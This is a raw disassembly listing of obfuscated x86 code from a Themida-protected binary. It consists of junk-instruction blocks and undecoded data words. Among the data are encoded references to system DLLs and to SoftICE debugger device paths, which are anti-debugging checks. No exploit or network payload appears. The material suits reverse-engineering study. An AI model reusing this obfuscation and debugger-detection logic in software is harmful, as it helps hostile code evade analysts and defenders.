mov ebp, 332E60B0h
and ebp, 53741530h
or ebp, 5B003133h
jmp loc_57056B
; ---------------------------------------------------------------------------
db 59h, 80h, 0F2h
dd 75E28066h, 0E9E4C280h, 0FFFF43C1h, 3910685Dh, 14890000h
dd 198BBA24h, 0E2D13CC3h, 8108E2C1h, 1D61F9C2h, 0BBBFE987h
dd 575FFFFFh, 4BFh, 5FFE2900h, 8B243487h, 1C892424h, 8824B324h
dd 2434FFD8h, 0C1E9535Bh
db 8Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5762F7: ; CODE XREF: Themida_:0056D93Dj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
mov ebp, 1000000h
and eax, ebp
push dword ptr [esp]
jmp loc_5648E0
; ---------------------------------------------------------------------------
loc_576329: ; CODE XREF: Themida_:0056FA42j
mov [esp], edi
push esp
pop edi
add edi, 4
add edi, 4
jmp loc_56D926
; ---------------------------------------------------------------------------
loc_57633C: ; CODE XREF: Themida_:00571F9Dj
push edx
push esi
push 2AD31E39h
mov esi, [esp]
add esp, 4
not esi
shl esi, 6
shl esi, 5
push edi
mov edi, 2E683C7Dh
shr edi, 3
jmp loc_5683D0
; ---------------------------------------------------------------------------
loc_57635F: ; CODE XREF: Themida_:00574636j
push dword ptr [esp]
pop edx
add esp, 4
or edx, 6B0D45DBh
sub esp, 4
jmp loc_57371A
; ---------------------------------------------------------------------------
loc_576374: ; CODE XREF: Themida_:0056FA06j
push ebx
mov ebx, 4CA866FFh
or ecx, ebx
jmp loc_567EA2
; ---------------------------------------------------------------------------
loc_576381: ; CODE XREF: Themida_:00568C9Aj
push esp
pop eax
add eax, 4
push ebp
mov ebp, 4
add eax, ebp
pop ebp
xchg eax, [esp]
jmp loc_571DBA
; ---------------------------------------------------------------------------
db 81h, 0C5h, 0D9h
dd 0FF7FF84Ah, 0C9E92434h
db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5763A7: ; CODE XREF: Themida_:00576A9Bj
mov ebp, 38716316h
jmp loc_56DE1C
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 3A0CDEB0h, 0FF991AE9h, 24048FFFh, 0FF4EBBE9h, 0B8505EFFh
dd 4, 5757C681h, 0C681754Ch, 210427C4h, 56C4C681h, 0C6810785h
dd 2BFE18DEh, 0EE81C601h, 2BFE18DEh, 56C4EE81h, 1DE90785h
dd 0B8FFFF0Ah, 4, 8758C101h, 0E95C240Ch, 0FFFF9C6Ah
; ---------------------------------------------------------------------------
loc_576408: ; CODE XREF: Themida_:00576793j
add edx, 16D068Dh
pop ebp
jmp loc_572F4C
; ---------------------------------------------------------------------------
dd 240C8B66h, 0FFBF8EE9h, 0C4BE56FFh, 466EC14Ah, 196DE681h
dd 0EED172ACh, 468BF681h, 0D6F71F7Dh, 9A8EF681h, 0B3E9EA01h
dd 5CFFFF9Ah, 4EC81h, 14890000h, 7136BA24h, 0BB051825h
dd 132FC02h, 2BB2DD0h, 34FF32FCh, 0C4835A24h, 0F3D3E904h
dd 7C01FFFFh, 5D5F0424h, 4EC81h, 4890000h, 4B824h, 0C5010000h
dd 0FF7663E9h, 885066FFh, 88CCFEF4h, 515866E6h, 0ED80A5B5h
dd 59EE200Bh, 6AE9D6F6h
db 0BAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_57649B: ; CODE XREF: Themida_:0056DD3Aj
push edx
mov dl, bh
mov cl, dl
pop edx
jmp loc_566E71
; ---------------------------------------------------------------------------
dw 489h
dd 19086824h, 34890000h, 0E9515324h, 0FFFEADEBh
; ---------------------------------------------------------------------------
loc_5764B8: ; CODE XREF: Themida_:0056E727j
mov eax, [edx]
mov edx, [esp]
push ebp
push esp
pop ebp
push ebx
mov ebx, 4
jmp loc_57549A
; ---------------------------------------------------------------------------
db 5Ch
dd 54240489h, 40558h, 89520000h, 4C281E2h, 83000000h, 148704EAh
dd 24248B24h, 0BF243C89h, 35EE617Dh, 6723E781h, 0C7813226h
dd 6FB174A1h, 0E905EFC1h, 0FFFF6714h, 55240489h, 0FEDE5CE9h
dd 0E18951FFh, 4C181h, 0E9830000h, 240C8704h, 48F545Ch
dd 24048124h, 4, 468505Ah, 58000000h, 6858C201h, 5C71h
dd 0E9240C89h, 0FFFF0C9Ah, 2AECB951h, 0E9574D63h, 0FFFED907h
; ---------------------------------------------------------------------------
loc_57654C: ; CODE XREF: Themida_:0056FFBAj
add esp, 4
mov ecx, [esp]
add esp, 4
push 65D0h
mov [esp], esi
push esi
mov esi, esp
add esi, 4
push edx
mov edx, 2E1F7FFDh
or edx, 226D3BFEh
or edx, 5BE0581Bh
add edx, 80008005h
jmp loc_568D5A
; ---------------------------------------------------------------------------
dw 0CA01h
dd 0FFEEACE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_57658D: ; CODE XREF: Themida_:0056E751j
or edi, edx
push dword ptr [esp]
pop edx
add esp, 4
add edi, 1
not edi
push edx
mov edx, 3E196B06h
sub edi, edx
pop edx
xor eax, edi
pop edi
push eax
push edi
mov edi, 35127CDDh
jmp loc_56983B
; ---------------------------------------------------------------------------
dw 0E100h
dd 8324048Bh, 0E98004C4h, 59C80033h, 4EC8357h, 0FF8718E9h
dd 24C381FFh, 0FF069F78h, 34FF2434h, 73685924h, 89000047h
dd 0E2892414h, 4C281h, 0ADE90000h, 0FFFFFF33h, 669D1C77h
dd 24041858h, 8FEDE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5765FE: ; CODE XREF: Themida_:005677C1j
pop esi
add ebx, 4CC616Eh
mov ecx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_57369D
; ---------------------------------------------------------------------------
a0FzaM db '0×fZ€ÆŒ',0
dd 8CEE80FEh, 0FF1010E9h, 0D8005BFFh, 6963E952h, 0EA81FFFFh
dd 2B9442C5h, 0FEF806E9h, 14875DFFh, 0BE565C24h, 2, 348BF57h
dd 0F78146C0h, 1835761Bh, 27F2F781h, 81470FAEh, 0B7FE6BC7h
dd 0E9F901E6h, 0FFFFC2BBh, 4BD55h, 0B6E90000h
db 45h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57667F: ; CODE XREF: Themida_:005705FFj
push dword ptr [esp+4]
push dword ptr [esp]
mov esi, [esp]
add esp, 4
jmp loc_56E8BD
; ---------------------------------------------------------------------------
dd 44822DADh, 552D22E2h, 54D2146h, 79502CDCh, 0FFFB85E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5766A9: ; CODE XREF: Themida_:00563C62j
pop edx
mov ecx, edi
mov edi, [esp]
add esp, 4
push ebx
mov ebx, 5A596D30h
mov edx, 98EC7177h
add edx, ebx
jmp loc_562FC3
; ---------------------------------------------------------------------------
dd 0FDE9F7B6h
db 2Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5766CB: ; CODE XREF: Themida_:00568D55j
mov ecx, [esp]
jmp loc_56B8D7
; ---------------------------------------------------------------------------
loc_5766D3: ; CODE XREF: Themida_:0056960Bj
mov esi, [esp]
add esp, 4
shr esi, 7
jmp loc_56A70B
; ---------------------------------------------------------------------------
dd 0C0B60F5Dh, 688734FFh, 204Ch, 0BD242C89h, 3FCh, 0FFB4D6E9h
dd 16C281FFh, 811A3679h, 7E92C3C2h, 5AD02921h, 52E3548h
dd 0C689A363h, 0FEFF71E9h, 0AEA0BFFFh, 0C4E95C24h, 5BFFFFB8h
dd 0D442E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57672A: ; CODE XREF: Themida_:00563D77j
pop dword ptr [esp]
pop esp
xor eax, ecx
xor ecx, eax
xor eax, ecx
push 5470h
mov [esp], ecx
push 110Bh
jmp loc_565963
; ---------------------------------------------------------------------------
loc_576746: ; CODE XREF: Themida_:00567C16j
pop esp
mov [esp], eax
push 0
mov eax, [esp]
add esp, 4
mov [edi+24h], eax
mov eax, [esp]
push ebx
jmp loc_56D43F
; ---------------------------------------------------------------------------
db 58h, 87h, 1Ch
dd 0AD9AE924h, 0B551FFFFh, 59EF30FBh, 0FF9FA0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_576775: ; CODE XREF: Themida_:005709FFj
not dword ptr [esp]
pop edx
push ebp
mov ebp, 0DD8BD7E4h
sub edx, 16D068Dh
add edx, 43624E8Ah
sub edx, ebp
sub edx, 43624E8Ah
jmp loc_576408
; ---------------------------------------------------------------------------
dd 0FC00DEB7h, 0E2885B66h, 0FFA397E9h, 245401FFh, 0C7E95A08h
dd 1FFFF48h, 240C8BCDh, 6804C483h, 2B18h, 0B8240489h, 4
dd 6858C529h, 3AA3h, 0FF8335E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5767D1: ; CODE XREF: Themida_:00561E9Cj
add esp, 4
dec cl
jmp loc_56B0CB
; ---------------------------------------------------------------------------
db 81h
dd 0BBEBB0C3h, 5BDF0158h, 0FF393EE9h, 65E953FFh
db 75h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5767EF: ; CODE XREF: Themida_:005689F3j
add esp, 4
shl ebx, 6
jmp loc_5732DC
; ---------------------------------------------------------------------------
db 51h, 83h, 0ECh
dd 24348904h, 4BEh, 5EF18900h, 4244C01h, 24148B59h, 8304C483h
dd 0C8904ECh, 83A9E924h, 0C483FFFFh, 0E0C1E904h, 32FFFFFFh
dd 0FEA811E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_576831: ; CODE XREF: Themida_:0056178Ej
pop edx
xchg edi, [esp]
pop esp
push edx
push ecx
mov ecx, 54506698h
dec ecx
sub ecx, 343B2430h
mov edx, ecx
jmp loc_574627
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 24148900h, 15E9E289h, 81FFFF6Ah, 0E61223E9h, 80C18143h
dd 29614077h, 3EBD55D9h, 6848314Dh, 1848h, 0E9240C89h
dd 0FFFF218Ah, 148BD301h, 4C48124h, 81000000h, 525196C3h
dd 0D929E91Dh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_576892: ; CODE XREF: Themida_:0056CD13j
not edx
and edx, 1EC82322h
jmp loc_5719C1
; ---------------------------------------------------------------------------
db 52h
dd 268h, 24148B00h, 0FEFBD7E9h, 0AB0F66FFh, 0E99C2404h
dd 0FFFEA78Ah, 587068h, 24148900h, 0C281E289h, 4, 4EC81h
dd 4890000h, 0BCCEE924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5768D6: ; CODE XREF: Themida_:0056E6DEj
add [esp+4], edx
add dword ptr [esp+4], 687A7C7Eh
mov edx, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_56E5B1
; ---------------------------------------------------------------------------
db 83h
dd 0C52D04C4h, 681E0A49h, 2661h, 0E9241489h, 0FFFF836Dh
dd 68E9E289h, 53FFFF5Ch, 42474FFh, 0FFE3F1E9h, 8BD821FFh
dd 35E9241Ch
db 1Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_576923: ; CODE XREF: Themida_:00572CCCj
push 223E1414h
pop ecx
shl ecx, 2
shr ecx, 7
jmp loc_56DDDC
; ---------------------------------------------------------------------------
loc_576934: ; CODE XREF: Themida_:00570124j
xchg eax, [esp]
mov ebx, [esp]
add esp, 4
xchg ebx, edi
xor [esp], edi
xor edi, [esp]
jmp loc_567269
; ---------------------------------------------------------------------------
db 53h, 0BBh, 7Bh
dd 1014512h, 81595BDAh, 0CEF5DEAh, 0E9D7295Eh, 0FFFEE0CDh
; ---------------------------------------------------------------------------
loc_576964: ; CODE XREF: Themida_:0056179Cj
push 5328h
mov [esp], eax
push ebx
mov bh, 59h
sub bh, 4Eh
xor bh, 6Dh
mov ah, bh
pop ebx
sub ah, 3Dh
jmp loc_562E32
; ---------------------------------------------------------------------------
dd 0C6E9CA01h
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
loc_576987: ; CODE XREF: Themida_:0056F543j
mov ecx, [esp]
add esp, 4
jmp loc_5676C3
; ---------------------------------------------------------------------------
loc_576992: ; CODE XREF: Themida_:0056AE94j
add eax, esi
pop esi
jmp loc_56E1C8
; ---------------------------------------------------------------------------
loc_57699A: ; CODE XREF: Themida_:005720E4j
pop ebx
jmp loc_56A3CD
; ---------------------------------------------------------------------------
dd 0CAE9E189h
db 73h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5769A7: ; CODE XREF: Themida_:00572345j
pop ebx
xor al, 87h
push small 11BCh
jmp loc_564A85
; ---------------------------------------------------------------------------
db 0BFh
dd 7A861E20h, 0FF0D40E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5769BD: ; CODE XREF: Themida_:0056B650j
push ebx
sub dword ptr [esp], 0FFFFFFFFh
jmp loc_574701
; ---------------------------------------------------------------------------
loc_5769C7: ; CODE XREF: Themida_:0056906Aj
add [esp+4], eax
jmp loc_56E22A
; ---------------------------------------------------------------------------
dd 0E904E3C1h, 0FFFEE534h
; ---------------------------------------------------------------------------
loc_5769D8: ; CODE XREF: Themida_:00574D2Dj
mov ecx, [esp]
jmp loc_5671A0
; ---------------------------------------------------------------------------
dd 8B5BDC88h, 0C481240Ch, 4, 595C68h, 0B68EE900h, 47E9FFFEh
dd 81FFFEA6h, 4C2CCCCAh, 0C2DEE933h, 685BFFFFh, 328Bh
dd 0FF241489h, 8B042474h, 0E9562414h, 0FFFFAF54h, 1F168h
dd 243C8900h, 0FECD8BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_576A29: ; CODE XREF: Themida_:00564255j
sub eax, 33654521h
pop esi
jmp loc_56ABCF
; ---------------------------------------------------------------------------
dd 5224048Bh, 0C281E289h, 4, 4BD55h, 0EA010000h, 0FFFBFCE9h
dd 243489FFh, 4BEh, 0E9F20100h, 6Ah, 0C381FB01h, 0B1E07A7h
dd 7A4568h, 0E63BE900h, 34FFFFFFh, 2924E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_576A76: ; CODE XREF: Themida_:005700BEj
add esp, 4
push ecx
push ebx
mov ebx, ebp
jmp loc_5625FC
; ---------------------------------------------------------------------------
dw 0F829h
dd 81243C8Bh, 4C4h, 93CBE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_576A92: ; CODE XREF: Themida_:00566E6Cj
mov ebx, 65545506h
add ecx, ebx
pop ebx
push ebp
jmp loc_5763A7
; ---------------------------------------------------------------------------
dd 8B59CC88h, 0A3E9241Ch, 89FFFFCFh, 1D0D5FF8h, 0F7300F75h
dd 1D610DD8h, 0C20514BFh, 16139AAh, 0BA5AE9C7h, 875EFFFFh
dd 835C2414h, 535004C4h, 567D5B68h, 0E94B5B23h, 0FFFF1643h
; ---------------------------------------------------------------------------
loc_576ADC: ; CODE XREF: Themida_:0056AD1Ej
mov [esp], esi
mov esi, 166B0395h
sub eax, 0C6053Fh
jmp loc_56EC57
; ---------------------------------------------------------------------------
loc_576AEE: ; CODE XREF: Themida_:005686E8j
push ebx
jmp loc_56587B
; ---------------------------------------------------------------------------
dd 3C32C381h, 34E91353h, 31FFFEDEh, 1C33241Ch, 24248B24h
dd 4BB0F66h, 9AE99C24h
db 9Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_576B13: ; CODE XREF: Themida_:00563CAAj
add ebp, eax
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_56BF8B
; ---------------------------------------------------------------------------
loc_576B26: ; CODE XREF: Themida_:0057089Fj
push edx
push 235203E8h
mov edx, [esp]
jmp loc_561F5E
; ---------------------------------------------------------------------------
dd 53E9h, 0E5572C00h, 45535515h, 2E323352h, 6C6C64h, 41564441h
dd 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch
dd 1000A07h, 7001D00h, 9000200h, 22200h, 7 dup(0)
dd 8F0E9h, 0A4DE6800h, 0ECE907E2h, 68FFFDDCh, 7E2A55Eh
dd 0FDDCE2E9h, 0A69868FFh, 0D8E907E2h, 68FFFDDCh, 7E2A800h
dd 0FDDCCEE9h, 0A85868FFh, 0C4E907E2h, 68FFFDDCh, 7E2A95Fh
dd 0FDDCBAE9h, 0A9C868FFh, 0B0E907E2h, 56FFFDDCh, 0C89AB46Eh
dd 3D0F29E1h, 0B486A058h, 27F913CBh, 1C718B45h, 0E29C7EB3h
dd 5812F6C8h, 0D1896C3Eh, 45FFE5B7h, 3D604B2Bh, 21D7FD74h
dd 0C6FE980Ah, 484E08ECh, 0A1690D6h, 73F3162Dh, 0F52E5AA5h
dd 10EAEDA2h, 286B7129h, 0E880B5AEh, 4D05EEC8h, 0E2DF347h
dd 72DAD4F7h, 499C5020h, 2407E144h, 0E12666Ch, 5C401A31h
dd 1A3D9CA2h, 548063ABh, 82C1D82Bh, 8094525Fh, 0B6802C4Bh
dd 0B682A028h, 0A0666A15h, 4B2ECA6Fh, 5A349399h, 862B4E74h
dd 0F04B8094h, 4B05EB9Dh, 8DA44F46h, 0E13CDB3h, 0DDAF1117h
dd 57643DF7h, 0ECC46D35h, 737D503h, 21090000h, 947B4D67h
dd 0BF0C2DCh, 7E673953h, 0F8DAACC6h, 0E6CF243Eh, 7B954F31h
dd 0F10BC5A9h, 6A843C1Fh, 0DEF8B298h, 0C1F013FEh, 0BD21D7FCh
dd 452BB14Bh, 0F723868Bh, 62C06986h, 0DB2F35C1h, 0A0DFF635h
dd 10733E61h, 0B80B29BAh, 71AF6FB2h, 3D692E57h, 0BFD25F78h
dd 94782A25h, 0D8DED5DAh, 754F66B9h, 0EEC0DA92h, 504E530Bh
dd 9021446Ah, 0E621D7EBh, 80FE893h, 0A1EE15DEh, 6B78AB8h
dd 0A1890000h, 14FBCDE7h, 8B70425Ch, 0FEE7B9D3h, 785A2C46h
dd 664FA4BEh, 0FB15CFB1h, 718B4529h, 0EA04BC9Fh, 5E783218h
dd 4170937Eh, 3D21D7FCh, 0ECC631CBh, 81F5F607h, 84C313CFh
dd 84CFD5D9h, 0A2227D77h, 2BCA29Ch, 5F19FFFDh, 0F0CAE55Ah
dd 0D64B5109h, 239ECA79h, 83495D8Dh, 90954F33h, 0E2E8EE99h
dd 543412A4h, 8ECFh, 0ECC61900h, 4D474D05h, 0BC96AD67h
dd 258CAFD3h, 5129BAA1h, 0BFA153FEh, 3090005h, 0CBE2A7A1h
dd 6B29BAA0h, 0A0A8092Ch, 7BCE29BAh, 0DB957B75h, 0AC8B95C1h
dd 7E335695h, 0F829BAA0h, 5803BB9Eh, 0DAB4F352h, 41383DF5h
dd 0D542F83Bh, 0E93C2E5Ah, 5D15F8D2h, 462D0746h, 9792898Eh
dd 21DA2D1Ah, 0A90B1164h, 0A4D0F4D7h, 7DAC8B4h, 1A9792F7h
dd 2421DA65h, 0DA64B001h, 9C73C621h, 48879E49h, 0DA648C25h
dd 999FF221h, 5BF1E4Ch, 2BB40000h, 23868B45h, 0A0F0C1E4h
dd 338629BAh, 0F837D92Dh, 9174BEE1h, 0B70A2E5Ah, 2BE5CB9Dh
dd 0FC3BE511h, 0D267C2E5h, 0CC1F2677h, 40F8DBB5h, 0B9715426h
dd 16D0B6B4h, 35BBBC3Dh, 0C2F0D9E6h, 57Dh, 721DBC3h, 7C964E35h
dd 0F30DC5AAh, 66803821h, 0DEF8B294h, 9EB2089h, 7F63354Fh
dd 0F6D9ABC5h, 6C52243Eh, 0CDB898B2h, 0D7FB07AAh, 63FD6F21h
dd 0DA32452Bh, 1AD4B6D4h, 7C26E916h, 466F4265h, 0B40729BAh
dd 62A10409h, 0BA46723Fh, 0B3B90C29h, 1419D3B9h, 7E116E9Fh
dd 29BA483Ch, 7F3B677Eh, 7CC0CF3Fh, 0AC69486Bh, 0C21529B9h
dd 0DC0B1117h, 0F954341Fh, 0FFFFFED6h, 8B452B43h, 45E22E86h
dd 0B9330B2Eh, 0AB852E5Ah, 3081A4C8h, 4621DA86h, 234248F3h
dd 86704164h, 5A0621DAh, 0D5A30AF9h, 90A752F9h, 0DA61446Dh
dd 3CE73A21h, 89ACEB22h, 21DA6128h, 0A1F5FB4Eh, 86A9C07Fh
dd 267A7778h, 43A6ABFEh, 0C8CD8769h, 2688CBD1h, 1729BA4Bh
dd 0C70359B6h, 155434B0h, 0E17CD9E9h, 0DEE42BD3h, 1605Ah
dd 0BFB3A400h, 0F70E2DF3h, 5AA592D4h, 6A81D42Eh, 0EEF4AE90h
dd 0B5CC0AF1h, 2BF5E880h, 0DCB6F50Ch, 995337F8h, 0EDF29D94h
dd 1ADF0F6h, 37502073h, 179EE70Bh, 0A2A89B37h, 0C82B3083h
dd 0C54B6689h, 0E0334FDFh, 9D9A86DAh, 0BC626386h, 91E4547Fh
dd 0C3984E7Ah, 923A3792h, 6D532D8Ch, 5D0FC7ACh, 0FA14BF79h
dd 506184C3h, 264B7FD6h, 8275587Ah, 48F37AA0h, 0A8624842h
dd 6DED64CFh, 5E8C75C4h, 415h, 6F89432Bh, 0E4FEB69Dh, 5B752D12h
dd 0CEE8A089h, 46601AFCh, 7153C8F1h, 0E7CB9DB7h, 5E41132Dh
dd 0D4BA8CA6h, 3520001Ah, 0D7F89F12h, 0CB65D721h, 0D9F04FD1h
dd 580260B6h, 6C83D62Eh, 0DDF7AF92h, 30EACCA6h, 954D302Ah
dd 0F2AC9290h, 15CBB419h, 0B2E0C9EEh, 3BDh, 0C7E19B83h
dd 3C560EF5h, 0B3CD856Ah, 2640F8E1h, 9EB87254h, 0C9AB6049h
dd 3F23F50Fh, 0B6996B85h, 2C12E4FEh, 8D785872h, 0D7F9476Ah
dd 23BD2F21h, 0A284452Bh, 5D80E3E8h, 29BAA154h, 812CD72Ah
dd 5A3F197Ch, 0A0A69DA2h, 106C0A6h, 63682003h, 0C1C67E65h
dd 70B31059h, 26B91647h, 29BAA294h, 9F2A87AAh, 15429BAh
dd 0E8699856h, 1B865434h, 0D0FFFFFDh, 868B452Bh, 2E45E22Eh
dd 5AB89F0Bh, 6C86D92Eh, 0EEB2B372h, 0CBEE0522h, 2E5AA59Bh
dd 0EED58ADDh, 79CDCAB9h, 0AE90947Ch, 494E06EDh, 0ABA2A752h
dd 0D0AAE900h, 8F492DEEh, 0E2E8DFE4h, 631A0F9Fh, 694F297Eh
dd 0AFB3AAAFh, 60E3CD4Bh, 52717773h, 7EA2FAFFh, 0DE7F3255h
dd 9DF781A2h, 5FC01BBh, 9120435Ah, 0ED81A2DEh, 0B5D8EF9Ah
dd 8642D610h, 904A2C86h, 0EF4CEE5h, 0C4033A54h, 0C2A610A1h
dd 0D136679h, 9A732D13h, 962B233Bh, 0B63D6B54h, 8A000002h
dd 0FCCEE8A2h, 71435D15h, 0E8BAD48Ch, 5B2D47FFh, 50A5BF79h
dd 16D0B267h, 8C462AFCh, 5BDA072h, 793319EBh, 71947F5Fh
dd 21D7F840h, 0D12AC436h, 0B6D9F04Fh, 2E58024Ah, 0D78F76D0h
dd 36F0D4D2h, 0E48F3A31h, 530DF3CDh, 0F251574Eh, 637D3518h
dd 0DFF6AE91h, 62682005h, 77311715h, 15CB459Eh, 4B7962EEh
dd 24Dh, 37510BF3h, 0ACC67E65h, 233DF5DAh, 96B06851h, 0E28E2C4h
dd 391B10B9h, 0AF93657Fh, 2609DBF5h, 9C82546Eh, 0FDE8C8E2h
dd 0D7F7D7DAh, 932D9F21h, 61844FD1h, 29BAA150h, 99BCD326h
dd 29BAA118h, 49600B5Eh, 5801DA26h, 0F60D602Eh, 0C0A7AECAh
dd 6D73002Ch, 8D4E340Eh, 2D47F2AAh, 11351CF6h, 0D82FC3EEh
dd 0BD68BB21h, 67BBC1B8h, 43667DB8h, 21D83078h, 53B6BB0Eh
dd 0FFB2D514h, 7721D82Fh, 2F882924h, 42EE21D8h, 0D3D7C075h
dd 309B478h, 7F662709h, 0F779385Bh, 0B20521D7h, 600B0207h
dd 3D1FF95Bh, 0D23D6983h, 23FD3C53h, 49322A3Dh, 421DF7FCh
dd 94429297h, 4E7CB698h, 2B6E741Fh, 21D88F8Eh, 6A4F29E8h
dd 8FFAB7B2h, 318421D8h, 8FBAF71Ah, 71C421D8h, 0DDC3C1C6h
dd 0E2BC1E23h, 562842FCh, 3BB1B670h, 0FBB59973h, 570FF8F6h
dd 0B6705452h, 3F82DF0Ch, 0DD2F8479h, 0B3AEE4F7h, 366C18E0h
dd 4044A941h, 8833E36Ch, 0FCB69C6Eh, 5D17F9F7h, 4AA7F058h
dd 46601A00h, 0EDD19274h, 0D838833h, 0D62571Dh, 0DF977C56h
dd 43FDDFD9h, 0BB755729h, 1DD5B8B6h, 0DF0B2218h, 563BB4BDh
dd 0B6349A9Eh, 1217CFB8h, 3659701Bh, 21D7F67Bh, 35AAB003h
dd 0F2AC8ED8h, 662006D8h, 1B591A61h, 0A1CE89E7h, 1E69954Ch
dd 0F5661032h, 3E9E3E9h, 6F583249h, 9201B3B7h, 0FCB68B3Dh
dd 0DCC294F6h, 3D1F1D22h, 0EC0B7E83h, 729AC4C0h, 0D697047h
dd 59011DF2h, 6CE1E792h, 25DFC517h, 9953390Bh, 57D43C94h
dd 0C8826640h, 67C6CCC3h, 0C9267244h, 0AAC1146Eh, 1669486Bh
dd 0C2157149h, 0E22E5ABCh, 2F0B2E45h, 4975E677h, 0B48EF1F6h
dd 140E14CEh, 0C9886D2Eh, 31282DE7h, 0DF8A8186h, 0CEB48EC5h
dd 2E140E14h, 78CCE508h, 0F2D76A27h, 673E353Ah, 0C16C240Dh
dd 6B70280Fh, 7DC4C974h, 7C2A32C2h, 0C5EB3E8h, 80526C26h
dd 78DBE09Ah, 0FB01B99Eh, 5B601801h, 91DB3865h
dd 5BBF98ABh, 0AA7480C9h, 383E52ECh, 15C06BF8h, 894329FBh
dd 62472184h, 167AA4AAh, 0D3000000h, 19407194h, 0E3367C26h
dd 2924BBDDh, 24DA0AFDh, 0F6FC686Dh, 89432BD4h, 0E6A08684h
dd 4800E3E1h, 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h
dd 25DDC2C0h, 833B2220h, 89566D7Eh, 4C681E6h, 83000000h
dd 343304EEh, 24343124h, 5C243433h, 4EC81h, 4890000h, 4C376824h
dd 2C890000h, 6AFC6824h, 34890000h, 7DEDBE24h, 0CE814C3Ah
dd 38674F70h, 0FCF68146h, 811AB971h, 16940CEh, 17EE8117h
dd 896FE4CBh, 0EC815EF0h, 4, 81242489h, 42404h, 685D0000h
dd 6099h, 8F240489h, 2C8B0845h, 0E2895224h, 4C281h, 0C2810000h
dd 4, 5C241487h, 5024048Bh, 405E089h, 83000000h, 48704C0h
dd 8E95C24h, 0E0FFFDD4h, 0AC3AB840h, 0C50307E2h, 3E4CE0FFh
dd 6FF215A7h, 36F94F70h, 50D401C3h, 0A3F66D4h, 58CE4CB4h
dd 4BA87079h, 0A2937550h, 0D9CB010Ah, 43F93557h, 57D36357h
dd 70A24D0Bh, 1AC54057h, 90F8456Eh, 0D0F11F1Ah, 6B073741h
dd 0B55B3783h, 0C6610D8h, 0FA46A72h, 349166C6h, 0B2FE5434h
dd 0CCBF715Ah, 90866710h, 0E8E3549Bh, 6A686BD5h, 6772340h
dd 0F2CC76C5h, 3D202D33h, 930A64D9h, 190E1762h, 248757A8h
dd 721C0C78h, 0FE87501h, 0F7000000h, 6901C12Fh, 0EACDBBC1h
dd 0E399FE63h, 8B666BE5h, 870F5AD9h, 3, 8187DB80h, 617CC2h
dd 0AE800h, 2BF30000h, 0C7F511DFh, 6D94D052h, 10E9h, 0A545AB00h
dd 0CB382275h, 304962Ch, 0A8D33FCFh, 6EB95FFEh, 814DE0D1h
dd 0E0B94AE9h, 32FFF84Dh, 0AE9h, 0FCABD400h, 0CB667826h
dd 5EEEC0C2h, 81DABF0Fh, 16D1EEh, 0DE97Ch, 6ED90000h, 9751B6BFh
dd 0A3260943h, 81E740B3h, 0A2B1BDC6h, 0F5F56031h, 0D2C68161h
dd 0B8394082h, 27AEE059h, 4DDF8056h, 0D1BF028Fh, 812F53FFh
dd 0EE20D0EAh, 21E88018h, 20CCC281h, 0F08118EEh, 2FD0424h
dd 15850F49h, 0B3000000h, 2DE9DCh, 10AF0000h, 0F4992951h
dd 6C1C7F03h, 2C393439h, 8D0Fh, 77E90000h, 7DFFFFFFh, 2E79BF97h
dd 2062FC87h, 0D8DF1CC0h, 9218DF5Ch, 0E99ED492h, 8Dh, 39BD8360h
dd 7E033h, 5840Fh, 78E90000h, 6A000000h, 303E8000h, 8850Fh
dd 6A0000h, 35E946h, 3E800000h, 8850F33h, 6A000000h, 24E94610h
dd 80000000h, 850F343Eh, 8, 0E946306Ah, 13h, 0F353E80h
dd 885h, 46406A00h, 2E9h, 80006A00h, 850F203Eh, 12h, 17E80h
dd 8850Fh, 0C4830000h, 15E908h, 858D0000h, 7E021E9h, 50905090h
dd 6A243489h, 7195FF00h, 6107E02Fh, 5985C6C3h, 4D07E007h
dd 28204A68h, 2404817Dh, 270D565Eh, 3085B5FFh, 858D07E0h
dd 7E039F8h, 8589D0FFh, 7E02F71h, 5C5C1EEBh, 49535C2Eh
dd 5C004543h, 535C2E5Ch, 49565749h, 5C5C0044h, 544E5C2Eh
dd 454349h, 9D09C08Bh, 7E03245h, 6B1BD83h, 750007E0h, 0C5BD8309h
dd 7E001h, 53501974h, 0FB8C08Bh, 89000004h, 0E020F585h
dd 629D8D07h, 0FF07E2BCh, 83585BD3h, 0E001C5BDh, 17740007h
dd 0FB85350h, 89000004h, 0E020F585h, 519D8D07h, 0FF07E2B9h
dd 6A585BD3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
